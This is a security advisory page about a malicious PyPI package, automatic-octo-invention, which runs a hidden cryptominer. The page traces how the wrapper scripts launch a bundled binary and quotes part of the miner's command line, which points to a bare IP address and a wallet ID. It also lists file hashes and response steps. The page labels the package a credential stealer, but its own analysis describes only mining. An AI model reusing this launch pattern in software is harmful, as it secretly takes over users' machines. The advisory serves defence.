Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Part of a larger attack: 2026-07-kimichat published 8 malicious packages. See the full campaign →
Malicious package

automatic-octo-inventionPyPI

automatic-octo-invention is a confirmed malicious PyPI package (MAL-2026-10918) that steals credentials and exfiltrates sensitive data (malicious versions 0.1.0, 0.1.1, 0.1.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in automatic-octo-invention (PyPI)

MAL-2026-10918
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall automatic-octo-invention

What this malware does

The package ships an 8.6 MB stripped ELF binary at automatic_octo_invention/claw (sha256 f6fe45f8fe9081987505af31f0249021a65b558af514f2e4e37340fb3182805f) with no source, no build metadata, and no documentation beyond the package name. The console-script entry point (cli.py) chmods the bundled start.sh executable and invokes it via subprocess; start.sh in turn chmods and runs ./claw --host 45.151.62.119:3361 --user prl1p2jan4d... — a bare-IP endpoint on a non-standard port with a fixed 62-character wallet-shaped user identifier. The argument shape matches XMRig-family cryptocurrency miners. The package's README and description do not disclose mining, do not name the destination, and present the tool under a generic name; the wrapper's only function is to make the opaque native binary runnable with these hardcoded arguments. Running the advertised CLI redirects the host's CPU and network to an author-chosen destination without disclosure. The harm fires when the user invokes the installed CLI rather than at pip install time, but the shipped binary is opaque and its network destination is a bare-IP author endpoint tied to a fixed wallet identifier.

In this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-07-kimichat

Reasons (based on the campaign):

  • cryptominer

Malicious versions

4 flagged
0.1.00.1.10.1.20.1.3

Indicators of compromise (SHA-256)

9601d13b646d0f31e4053a8f1d2b159cba6c30b1860a67da0baa3d7d7086d9c4
54cbb39db6813ca8200ba2a9a03e114390a22c45ec292688cdc358aa0086d0e8
0bff870a482fc96915e366ad9071bbdd8e0737d9a9f11e8a26c38765fb5509a6
a675e3cc406f7e98ba6e442e76eb6625c056d747d0ba43aea5c79d7b72efb007
aef6fa852c565564349740de0e92b8b7ef000a3f26790bd04777207c43544c7d
e2dfb4e3eedab24e355b6d24db6096e6752563e220d28e83ad2cf213fe49fd89

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for automatic-octo-invention (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging automatic-octo-invention across your stack and pipelines.

  2. If you installed it — respond

    automatic-octo-invention is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If automatic-octo-invention was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks automatic-octo-invention before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. automatic-octo-invention on PyPI has been identified as a malicious package (versions 0.1.0, 0.1.1, 0.1.2, 0.1.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

2026-07-kimichatIN-MAL-2026-011153IN-MAL-2026-011208IN-MAL-2026-011251IN-MAL-2026-011257

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks automatic-octo-invention-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

automatic-octo-invention (PyPI) malicious package — MAL-2026-10918 | O3 Security